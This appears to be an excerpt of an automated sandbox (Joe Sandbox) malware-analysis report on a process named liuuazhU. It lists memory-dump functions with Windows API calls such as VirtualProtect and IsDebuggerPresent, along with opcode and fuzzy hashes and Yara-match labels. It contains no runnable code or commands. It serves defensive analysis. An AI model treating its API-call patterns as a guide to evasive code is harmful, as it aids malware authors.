Source File: 00000006.00000002.3113101885.0000000021010000.00000040.00000800.00020000.00000000.sdmp, Offset: 21010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21010000_liuuazhU.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 4f26cd4fd55a3fac2a1c812aaaeeabfcf2c8c6ef3106eb32003fe7ed789efa47
Instruction ID: 2ffc023fa9835186c2c3a014136dcab652a8f6d01f604a3c7c918c7a1adcaf2a
Opcode Fuzzy Hash: 4f26cd4fd55a3fac2a1c812aaaeeabfcf2c8c6ef3106eb32003fe7ed789efa47
Instruction Fuzzy Hash: EA4155B9D002589FCF00CFA9D984ADEBFF5BB09310F14906AE918AB321D375A985CF54

Function 21014C28 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 21014CF3

Memory Dump Source

Source File: 00000006.00000002.3113101885.0000000021010000.00000040.00000800.00020000.00000000.sdmp, Offset: 21010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21010000_liuuazhU.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 5b7cb4800b1de85664a3beb0cb757eb9ef359187b46ea685e9f33d28d6386da2
Instruction ID: 15d12277bf3489cd013991360fd23d4f2f7be831771bfcc7ac4622a3b3ec2e63
Opcode Fuzzy Hash: 5b7cb4800b1de85664a3beb0cb757eb9ef359187b46ea685e9f33d28d6386da2
Instruction Fuzzy Hash: 444145B9D002589FCF00CFAAD984ADEBBF5BB09310F14906AE918AB321D375A945CF54

Function 1CFCEF78 Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 1CFCF01C

Memory Dump Source

Source File: 00000006.00000002.3108680787.000000001CFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1cfc0000_liuuazhU.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 78d3849dda654223b542d53588b02cefe3e73106574cf6f861fae438713d82f3
Instruction ID: ae112f8e7153c56b6d8a8c81d67d6b3577c1732915c7df22407a5d1cd3c37120
Opcode Fuzzy Hash: 78d3849dda654223b542d53588b02cefe3e73106574cf6f861fae438713d82f3
Instruction Fuzzy Hash: B231A7B4E012599FCF14CFA9D980ADEFBB0BF49310F20902AE819B7210D735A945CF68

Function 21171DC0 Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 21171E81

Memory Dump Source

Source File: 00000006.00000002.3113302494.0000000021170000.00000040.00000800.00020000.00000000.sdmp, Offset: 21170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21170000_liuuazhU.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 868dee09fd44fde61cd8cfe813eedad646ae6b5cff2a5afd9da0cccd5b0ec978
Instruction ID: 96bfd1cb8ab6b01b04a2a10e7ab98b000e0507c359e70feb348047209fd9fe61
Opcode Fuzzy Hash: 868dee09fd44fde61cd8cfe813eedad646ae6b5cff2a5afd9da0cccd5b0ec978
Instruction Fuzzy Hash: F04146B4900319CFCB15CF89C888AAABBF5FF88314F24C959D518AB321D774A941CFA0

Function 2101D780 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?), ref: 2101D812

Memory Dump Source

Source File: 00000006.00000002.3113101885.0000000021010000.00000040.00000800.00020000.00000000.sdmp, Offset: 21010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21010000_liuuazhU.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 88695f2b86b71bc2a6dc0a1573de41758d2b6568749c71decdd96bee466f5933
Instruction ID: e93931a11ee8ca3257a6829bb2ef893c9828b3e9c2ebb690f38d86139042e60c
Opcode Fuzzy Hash: 88695f2b86b71bc2a6dc0a1573de41758d2b6568749c71decdd96bee466f5933
Instruction Fuzzy Hash: 1B31A7B8D00259DFCB14CFAAD584ADEFBF5AB49310F14906AE818B7320D375A945CFA4

Function 20186373 Relevance: 1.6, APIs: 1, Instructions: 62libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00000000), ref: 201864B5

Memory Dump Source

Source File: 00000006.00000002.3111887989.0000000020180000.00000040.00000800.00020000.00000000.sdmp, Offset: 20180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20180000_liuuazhU.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d176e93356051a1edfba610ddd6f18fb2e11cb5b33297a2a0ce1d02bcf0adc1b
Instruction ID: 3843ce8deb3c08bae075ea9aac7caca290fd2b0523bc8bb8edc15b0048238b8b
Opcode Fuzzy Hash: d176e93356051a1edfba610ddd6f18fb2e11cb5b33297a2a0ce1d02bcf0adc1b
Instruction Fuzzy Hash: 2C113DB4A011199FEB04DFE8D884EADBBB5FB88304F61D165E914E7246DB34AB45CF10

Function 00401870 Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040AF66: _malloc.LIBCMT ref: 0040AF80

SysAllocString.OLEAUT32 ref: 00401898

Memory Dump Source

Source File: 00000006.00000002.3089721536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3089721536.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3089721536.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: AllocString_malloc
String ID:
API String ID: 959018026-0
Opcode ID: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction ID: c2922591c351a4c461934d9b8210169c8be4224f150a02a6988c85a72df9e820
Opcode Fuzzy Hash: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction Fuzzy Hash: BEF02073501322A7E3316B658841B47B6E8DF80B28F00823FFD44BB391D3B9C85082EA

Function 0040D534 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000), ref: 0040D549

Memory Dump Source

Source File: 00000006.00000002.3089721536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3089721536.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3089721536.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction ID: a29dbb507fbbbc11cf477c5ad410ace9233c9b691e3651c0b65acef059567112
Opcode Fuzzy Hash: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction Fuzzy Hash: E8D05E36A54348AADB11AFB47C08B623BDCE388396F404576F80DC6290F678D641C548

Function 20D12D7F Relevance: 1.4, Strings: 1, Instructions: 117COMMON

Download Yara Rule

Strings

4'^q, xrefs: 20D12E0B

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 3b7ef69404cd39e3ded5471c4f76b8bcba15889d7d9fada08a1ec43aea3810b6
Instruction ID: 89221f5bb7e141ad0d9f28e72aaf5abb3b112404cf76b924e5ae18f17f1d9a00
Opcode Fuzzy Hash: 3b7ef69404cd39e3ded5471c4f76b8bcba15889d7d9fada08a1ec43aea3810b6
Instruction Fuzzy Hash: DA4149756041158FCB058FA4E888BAABBB5BB88710F1400A9F905CB3B2CB36DD95CF91

Function 20D130C8 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

4'^q, xrefs: 20D13142

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 3bef12c024d2e7bc5d376adf941f21295a83dea050eaa3149d83777c29b48fc6
Instruction ID: 0a759f17121f27f52d069a29d71a766699e09440a400199b6b4a120366db3098
Opcode Fuzzy Hash: 3bef12c024d2e7bc5d376adf941f21295a83dea050eaa3149d83777c29b48fc6
Instruction Fuzzy Hash: 5421A230709396AFDF058FA6ADC0AABBBEAAB85610B14442DE945C7240DF34CCC19760

Function 1CFCF248 Relevance: 1.3, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 1CFCF2C6

Memory Dump Source

Source File: 00000006.00000002.3108680787.000000001CFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1cfc0000_liuuazhU.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 5af22909b34da3df8bcbf401e74d1d5b20f52336e82d28d55443a318ef366def
Instruction ID: 0e0941b27590021443c9413ac110973c70421edba4a958352b6099f01b363477
Opcode Fuzzy Hash: 5af22909b34da3df8bcbf401e74d1d5b20f52336e82d28d55443a318ef366def
Instruction Fuzzy Hash: 7931ACB4E012199FCB14CFAAD580ADEFBB4AF49310F10942AE415B7310C735A941CF68

Function 20D14120 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4193400c0abbd4107c4db96ca78f44d3fcb1e2556d4a2f6170d9fbb049e41d7a
Instruction ID: 8ab820ec92e69f102ac721ffadc98ef77c37bca3143cfac7f9365cf40c6ef055
Opcode Fuzzy Hash: 4193400c0abbd4107c4db96ca78f44d3fcb1e2556d4a2f6170d9fbb049e41d7a
Instruction Fuzzy Hash: 9FD10B75A412158FCB05CFA8E584A9DBBF6FF89710B1A8099E915AB371CB31FC81CB50

Function 20D14001 Relevance: .3, Instructions: 306COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31c8667b4a2c925e677649a2f137b52cc3e7f1013b4c28ef814079fafcab2789
Instruction ID: bb79933703e94e929e0c13d2acd5fd7d5f22cd0308f0a138f8be4806b9e825ff
Opcode Fuzzy Hash: 31c8667b4a2c925e677649a2f137b52cc3e7f1013b4c28ef814079fafcab2789
Instruction Fuzzy Hash: 56D11975E412159FCB04CFA8D984A9EFBF6FF49310B1A8159E915AB362CB34EC81CB50

Function 20D10D30 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2f0b20eef5fc713076e9b8e65a7596a2e2f7159005ce04ed92d020b44ae0068
Instruction ID: a0a8bceaacef9e344b9822da3440fa821c82b02ac48eb02fe4d1fd54d061dbae
Opcode Fuzzy Hash: f2f0b20eef5fc713076e9b8e65a7596a2e2f7159005ce04ed92d020b44ae0068
Instruction Fuzzy Hash: D67102307052118FC705ABB9D89872EBBE6AFC8700B58846DE906DB395CF74DC86C795

Function 20D12F81 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52b2b56498301cd5c9836182a6de206c670239efa5f582633ef564f74cbd2b63
Instruction ID: e2c2c9f9b127b1f9daaf395dc2de524ba1a7addead8ec673e3e20e91c198f9f6
Opcode Fuzzy Hash: 52b2b56498301cd5c9836182a6de206c670239efa5f582633ef564f74cbd2b63
Instruction Fuzzy Hash: BB51A6317152519FCB04DFB9E8D8E2ABBE9AF8965031944ADE509CB362DF31DC818B60

Function 20D1D3E8 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2f55a4b226cd49d2fcbae5d2a117b104d8c4a9a1875c8027307fc76175a97eb
Instruction ID: 06c5b01c76464132d75154d63257df66b4f8dc84926c82f32a13d75dfc542971
Opcode Fuzzy Hash: e2f55a4b226cd49d2fcbae5d2a117b104d8c4a9a1875c8027307fc76175a97eb
Instruction Fuzzy Hash: 5171D074E01229DFDB24DFA5D994BAEBBB2BF84304F2080A9D409AB354DB355E85CF41

Function 20D1E469 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 964c2549b0168755f4ee77ae05d02f89c4d474d57986f44775d61aee259e2ed1
Instruction ID: 2b32ebcf5033ea1dbf8273ddb354da7d93a6e7b676d0e93076949441d0af19a4
Opcode Fuzzy Hash: 964c2549b0168755f4ee77ae05d02f89c4d474d57986f44775d61aee259e2ed1
Instruction Fuzzy Hash: 8261AE74E02228CFDB65DFA4D990BDDBBB1BB49304F1484EAE409A7250EB359E85CF50

Function 20D1FD76 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc945765d871fffd60cc6a2f93a06e347f91daaac474e144356cba51f1625bea
Instruction ID: 4c46b1e7fa0be08a8de28a36ecce9da48b144b7c1e058773b09514546db6efb3
Opcode Fuzzy Hash: bc945765d871fffd60cc6a2f93a06e347f91daaac474e144356cba51f1625bea
Instruction Fuzzy Hash: 83518235D0021A9FCB01CFE0D844ADDFBBAFF8A314F258215F515AB2A5DB74A986CB50

Function 20D1D3D8 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8fd57a91b3be4c57499853843e5b1fb430521e704f6480117459d77fcdb3471
Instruction ID: ed08e7f207bbb925e4edc092fa5a571978c5d32b6ecfdf090cef497c4d148fd8
Opcode Fuzzy Hash: e8fd57a91b3be4c57499853843e5b1fb430521e704f6480117459d77fcdb3471
Instruction Fuzzy Hash: 8D314670D022189EDB15CFB5D884BDEBBB1AF89304F20842DD419AB251DB78194ACF51

Function 1CF5D514 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3108105535.000000001CF5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CF5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1cf5d000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f772570a9b41fdc6846ea978d31e298c628716b8faa60988bf067f1009863a9b
Instruction ID: b3c0602009e626bb4976ee124949841e8f54f1d1f4927db5520261f3e81aec56
Opcode Fuzzy Hash: f772570a9b41fdc6846ea978d31e298c628716b8faa60988bf067f1009863a9b
Instruction Fuzzy Hash: 0421F5B2505240DFDB05DF14DAC0B1BBF65FB88318F24C669EA094B29AC336D457CAB2

Function 1CF6D005 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3108237725.000000001CF6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CF6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1cf6d000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f4e78eb827fc68b47ae314f5e79b5916453a14977a79b2f6e4a45c6ac3836ed
Instruction ID: 3cbf90a04498a118bbd5be3335dee3cabbed3bc40edc176dab6a866dcccf4f7b
Opcode Fuzzy Hash: 7f4e78eb827fc68b47ae314f5e79b5916453a14977a79b2f6e4a45c6ac3836ed
Instruction Fuzzy Hash: BE215A715093C09FD7039B24D994B01BF71EB46214F29C6DBD8898F6A7C23A984ACB72

Function 1CF6D030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3108237725.000000001CF6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CF6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1cf6d000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f7a21798f7cd08cb8dbf4ba2fdf3b53dbd1be276d624de86fd436d7b6140306
Instruction ID: 53f3810790957ce779adbfeee4d6c8de7d9e1645467c9162cb139b218ed69409
Opcode Fuzzy Hash: 9f7a21798f7cd08cb8dbf4ba2fdf3b53dbd1be276d624de86fd436d7b6140306
Instruction Fuzzy Hash: D6210471504244EFDB00DF14DAC0B16BBA5EB84314F20C66DD8894B69AC33BD887CA72

Function 20D11AC0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e55891167e5b7a5e2148564e23a44c3d945fb0f9cd90f0b9205d8b1d9e16eade
Instruction ID: 05194b355bb7a5d639c9183df17eada414fad85abeea1ba9c9d51699ab124411
Opcode Fuzzy Hash: e55891167e5b7a5e2148564e23a44c3d945fb0f9cd90f0b9205d8b1d9e16eade
Instruction Fuzzy Hash: FD21FD34A08308DFCB10CF94D948BAAFBF6EB49310F08846EE0998B252E774DD84CB50

Function 20D13E49 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d336e93b6ae09c18a60e8febe16fc7ded6b5dad3cd42a7416bd23949c8bd5e81
Instruction ID: ba54fa3a28f151368e3900690743f4337ad79f01f342cd62d8e5d81869ed35cf
Opcode Fuzzy Hash: d336e93b6ae09c18a60e8febe16fc7ded6b5dad3cd42a7416bd23949c8bd5e81
Instruction Fuzzy Hash: E9118175B01204AFDB158FA8D898BDDBBB6FF8C311F244569E915A7390CB319C51CB90

Function 1CF5D50F Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3108105535.000000001CF5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CF5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1cf5d000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db79b5eb69be54bde6d22b58705b80061de706f1e28455fb2d9027648eeca995
Instruction ID: 83d9af3ea78e1afb7a329d8b7ef73f36e434632b3135a65e83cc6fb295672eeb
Opcode Fuzzy Hash: db79b5eb69be54bde6d22b58705b80061de706f1e28455fb2d9027648eeca995
Instruction Fuzzy Hash: 1911D376505280CFDB02CF14D6C4B06BF72FB84318F24C6A9D9094B65AC336D55ACBB2

Function 20D10738 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acce14f64b4111714c42f610f0181ca11e2846d5bc69123666690d4f1f326fc0
Instruction ID: b918c476b55f97add3acf676a3ae7084bbf878634b4af1532003cef142ee5cb2
Opcode Fuzzy Hash: acce14f64b4111714c42f610f0181ca11e2846d5bc69123666690d4f1f326fc0
Instruction Fuzzy Hash: 5801D6727001186F8B069ED9AC04BEF7BEBDBC8690F148029FA05D7380DEB1DC119BA4

Function 1CF5D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3108105535.000000001CF5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CF5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1cf5d000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38b8eb9ec240e82b15e127454fe7b988a10446674b1299573cb83dff64b1d333
Instruction ID: 1efb7856f8a170a38c68ce8711e69a5e95e2e473571a9629f9e2bb08710ba4ae
Opcode Fuzzy Hash: 38b8eb9ec240e82b15e127454fe7b988a10446674b1299573cb83dff64b1d333
Instruction Fuzzy Hash: 7301DB7140A3409AE7105E26CE84757BFD8DF45324F18C529EE484B2CAC279D847C6B2

Function 1CF5D005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3108105535.000000001CF5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CF5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1cf5d000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e21f9a37d95503fb8e11598a629dfc070a695afe4e8fd200e1259bb658babd3
Instruction ID: a0afee577ff94f47c50517a19210e28536276781dc00c9ad31b06fa3632a381b
Opcode Fuzzy Hash: 8e21f9a37d95503fb8e11598a629dfc070a695afe4e8fd200e1259bb658babd3
Instruction Fuzzy Hash: D301527140E3C05EE3024B258994752BFB8EF43224F19C5DBD9888F1D7C2699849C772

Function 20D10727 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ec44694b4cb9bbda5b4adf6a8394b86a0a6e9be7fa4d230931d69394ed226f6
Instruction ID: 99ddc081567c3ddf937af5e611fab3ffde9b0e9b3f6d8dcda0bb4996d2800c11
Opcode Fuzzy Hash: 1ec44694b4cb9bbda5b4adf6a8394b86a0a6e9be7fa4d230931d69394ed226f6
Instruction Fuzzy Hash: FB012B726052486FCB038E949C04BEE7FA7DFC8390F14806AF504D7295CA75DC11DB94

Function 20D12ED8 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d910da820fe6e6c13472b5727ac0d64b7049b3e4b6b7b1de02277f8cded208c6
Instruction ID: d6a4e781665e78dd4522f2d7cd1589dfb2b21e8571a94bbd2f8639743c775e15
Opcode Fuzzy Hash: d910da820fe6e6c13472b5727ac0d64b7049b3e4b6b7b1de02277f8cded208c6
Instruction Fuzzy Hash: 9FF0C2353126104B87055A6FA848B2AB7EDBFC8A9171500ADFA09CB361DE22CC43CB80

Function 20D11327 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 851181db25b1af4b240d08078f89b7538180ba9d8fe6dcfc221e0ec2691697b4
Instruction ID: ab4038fc24635ae786d51cb16e7c5b27a31b12d849b6ca082905bbc66fb65e5a
Opcode Fuzzy Hash: 851181db25b1af4b240d08078f89b7538180ba9d8fe6dcfc221e0ec2691697b4
Instruction Fuzzy Hash: C0E0C27580C3945ED703E37098A9BD93F719B42201F05426AD405866A7DEA4888E4719

Function 20D13F05 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9064c6c68ce3b6c5e38ee8bd3c84d89e8ed86a0b18918f5fbdc67975aba51396
Instruction ID: 4f7e6b9aeb3305fd1d71a426e4ab39499fcec460545fd7a85e89e6460f54b756
Opcode Fuzzy Hash: 9064c6c68ce3b6c5e38ee8bd3c84d89e8ed86a0b18918f5fbdc67975aba51396
Instruction Fuzzy Hash: A6D0173AB00108EFCB008F88EC408DDB7B6FB98221B008026E911A3220C6319821DB54

Function 20D11338 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc0cd8b6d2e7b3f5117108eadd2157ca1ee4017afbe774c5d2f1bf6e3a5d2b72
Instruction ID: dbeb0db8f8b8b35589db8bd9cccd8356271586e0b1a25582086b0ca78391ae05
Opcode Fuzzy Hash: bc0cd8b6d2e7b3f5117108eadd2157ca1ee4017afbe774c5d2f1bf6e3a5d2b72
Instruction Fuzzy Hash: 3DC022300082084EC202E3B4EC84D6A731EE780601F004230D0090632ACFB4A8CC02AC

Non-executed Functions

Function 0040CE09 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 004136F4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00413709
UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 00413714
GetCurrentProcess.KERNEL32(C0000409), ref: 00413730
TerminateProcess.KERNEL32(00000000), ref: 00413737

Memory Dump Source

Source File: 00000006.00000002.3089721536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3089721536.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3089721536.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction ID: 93bf0ba95bc2a0faef8203f21c221f33afe887fd41373e09ae0fa508b254143b
Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction Fuzzy Hash: A521C3B4601204EFD720DF65E94A6457FB4FB08356F80407AE50887772E7B86682CF4D

Function 0040ADB0 Relevance: 2.5, APIs: 2, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0040ADD0
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040ADE1

Memory Dump Source

